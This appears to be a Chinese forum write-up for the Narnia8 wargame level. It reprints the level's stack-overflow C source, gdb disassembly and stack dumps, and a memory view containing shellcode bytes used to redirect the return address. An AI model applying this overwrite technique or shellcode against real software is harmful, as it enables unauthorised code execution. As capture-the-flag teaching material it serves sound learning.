-
-
[原创]WarGame-narnia8 解题思路
-
发表于: 2019-8-6 16:49 7845
-
Narnia8源码如下
无疑这是栈溢出漏洞,不过唯一不同的是bok只有20byte这么大,所以之前的nop滑板不能用了,首先反汇编出func函数的代码,然后下断得出返回地址与bok之间的距离(断点必须下在for循环里面或者之前,不然指向argv的指针会发生变化),最后修改返回地址指向我们的shellcode,过程如下
随便输入点东西,断下来后查看esp,得到如下信息
0x80484a7是返回地址(当func走到ret指令时得知),0xffffd71e就是指向argv的指针了
如果发现输入shellcode以后指针发生变化就多调试几遍,直到在gdb里能获取到shell为止,但当退出gdb在实际环境中运行的时候会发现exp并不能获取shell,其原因是在调试器中和在调试器外的环境变量是不同的,因此栈中地址会发生变化;我采用一种叫包装程序的方法(歪果仁叫它wrapper program),其实就是在一个程序中调用另一个程序,源码如下
需要注意的是这种方法在真实环境中并不能解决ASLR的问题;继续使用gdb调试,便可得到存放argv的固定地址,不过每次重新调试的时候要跳到外面这一层程序,而不是只在里面重开,最终结果如下
Narnia8源码如下
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global until i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; }
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global until i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; }
无疑这是栈溢出漏洞,不过唯一不同的是bok只有20byte这么大,所以之前的nop滑板不能用了,首先反汇编出func函数的代码,然后下断得出返回地址与bok之间的距离(断点必须下在for循环里面或者之前,不然指向argv的指针会发生变化),最后修改返回地址指向我们的shellcode,过程如下
pwndbg> disassemble func Dump of assembler code for function func: 0x0804841b <+0>: push ebp 0x0804841c <+1>: mov ebp,esp 0x0804841e <+3>: sub esp,0x18 0x08048421 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x08048424 <+9>: mov DWORD PTR [ebp-0x4],eax 0x08048427 <+12>: push 0x14 0x08048429 <+14>: push 0x0 0x0804842b <+16>: lea eax,[ebp-0x18] 0x0804842e <+19>: push eax 0x0804842f <+20>: call 0x8048300 <memset@plt> 0x08048434 <+25>: add esp,0xc 0x08048437 <+28>: mov DWORD PTR ds:0x80497b0,0x0 0x08048441 <+38>: jmp 0x8048469 <func+78> 0x08048443 <+40>: mov eax,ds:0x80497b0 0x08048448 <+45>: mov edx,DWORD PTR ds:0x80497b0 0x0804844e <+51>: mov ecx,edx 0x08048450 <+53>: mov edx,DWORD PTR [ebp-0x4] 0x08048453 <+56>: add edx,ecx 0x08048455 <+58>: movzx edx,BYTE PTR [edx] 0x08048458 <+61>: mov BYTE PTR [ebp+eax*1-0x18],dl 0x0804845c <+65>: mov eax,ds:0x80497b0 => 0x08048461 <+70>: add eax,0x1 0x08048464 <+73>: mov ds:0x80497b0,eax 0x08048469 <+78>: mov eax,ds:0x80497b0 0x0804846e <+83>: mov edx,eax 0x08048470 <+85>: mov eax,DWORD PTR [ebp-0x4] 0x08048473 <+88>: add eax,edx 0x08048475 <+90>: movzx eax,BYTE PTR [eax] 0x08048478 <+93>: test al,al 0x0804847a <+95>: jne 0x8048443 <func+40> 0x0804847c <+97>: lea eax,[ebp-0x18] 0x0804847f <+100>: push eax 0x08048480 <+101>: push 0x8048550 0x08048485 <+106>: call 0x80482e0 <printf@plt> 0x0804848a <+111>: add esp,0x8 0x0804848d <+114>: nop 0x0804848e <+115>: leave 0x0804848f <+116>: ret End of assembler dump. pwndbg> b *0x8048475
pwndbg> disassemble func Dump of assembler code for function func: 0x0804841b <+0>: push ebp 0x0804841c <+1>: mov ebp,esp 0x0804841e <+3>: sub esp,0x18 0x08048421 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x08048424 <+9>: mov DWORD PTR [ebp-0x4],eax 0x08048427 <+12>: push 0x14 0x08048429 <+14>: push 0x0 0x0804842b <+16>: lea eax,[ebp-0x18] 0x0804842e <+19>: push eax 0x0804842f <+20>: call 0x8048300 <memset@plt> 0x08048434 <+25>: add esp,0xc 0x08048437 <+28>: mov DWORD PTR ds:0x80497b0,0x0 0x08048441 <+38>: jmp 0x8048469 <func+78> 0x08048443 <+40>: mov eax,ds:0x80497b0 0x08048448 <+45>: mov edx,DWORD PTR ds:0x80497b0 0x0804844e <+51>: mov ecx,edx 0x08048450 <+53>: mov edx,DWORD PTR [ebp-0x4] 0x08048453 <+56>: add edx,ecx 0x08048455 <+58>: movzx edx,BYTE PTR [edx] 0x08048458 <+61>: mov BYTE PTR [ebp+eax*1-0x18],dl 0x0804845c <+65>: mov eax,ds:0x80497b0 => 0x08048461 <+70>: add eax,0x1 0x08048464 <+73>: mov ds:0x80497b0,eax 0x08048469 <+78>: mov eax,ds:0x80497b0 0x0804846e <+83>: mov edx,eax 0x08048470 <+85>: mov eax,DWORD PTR [ebp-0x4] 0x08048473 <+88>: add eax,edx 0x08048475 <+90>: movzx eax,BYTE PTR [eax] 0x08048478 <+93>: test al,al 0x0804847a <+95>: jne 0x8048443 <func+40> 0x0804847c <+97>: lea eax,[ebp-0x18] 0x0804847f <+100>: push eax 0x08048480 <+101>: push 0x8048550 0x08048485 <+106>: call 0x80482e0 <printf@plt> 0x0804848a <+111>: add esp,0x8 0x0804848d <+114>: nop 0x0804848e <+115>: leave 0x0804848f <+116>: ret End of assembler dump. pwndbg> b *0x8048475
随便输入点东西,断下来后查看esp,得到如下信息
pwndbg> x/20x $esp 0xffffd4e4: 0x00000061 0x00000000 0x00000000 0x00000000 0xffffd4f4: 0x00000000 0xffffd71e 0xffffd508 0x080484a7 0xffffd504: 0xffffd71e 0x00000000 0xf7df2e81 0x00000002 0xffffd514: 0xffffd5a4 0xffffd5b0 0xffffd534 0x00000001 0xffffd524: 0x00000000 0xf7fb2000 0xf7fe575a 0xf7ffd000
pwndbg> x/20x $esp 0xffffd4e4: 0x00000061 0x00000000 0x00000000 0x00000000 0xffffd4f4: 0x00000000 0xffffd71e 0xffffd508 0x080484a7 0xffffd504: 0xffffd71e 0x00000000 0xf7df2e81 0x00000002 0xffffd514: 0xffffd5a4 0xffffd5b0 0xffffd534 0x00000001 0xffffd524: 0x00000000 0xf7fb2000 0xf7fe575a 0xf7ffd000
0x80484a7是返回地址(当func走到ret指令时得知),0xffffd71e就是指向argv的指针了
pwndbg> x/15x 0xffffd71e 0xffffd71e: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd72e: 0x61616161 0xffffd744 0xffffd538 0xffffd764 0xffffd73e: 0x315e18eb 0x074688c0 0x5e891e8d 0x084e8d08 0xffffd74e: 0x8d0c4689 0x0bb00c56 0xe3e880cd
pwndbg> x/15x 0xffffd71e 0xffffd71e: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd72e: 0x61616161 0xffffd744 0xffffd538 0xffffd764 0xffffd73e: 0x315e18eb 0x074688c0 0x5e891e8d 0x084e8d08 0xffffd74e: 0x8d0c4689 0x0bb00c56 0xe3e880cd
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)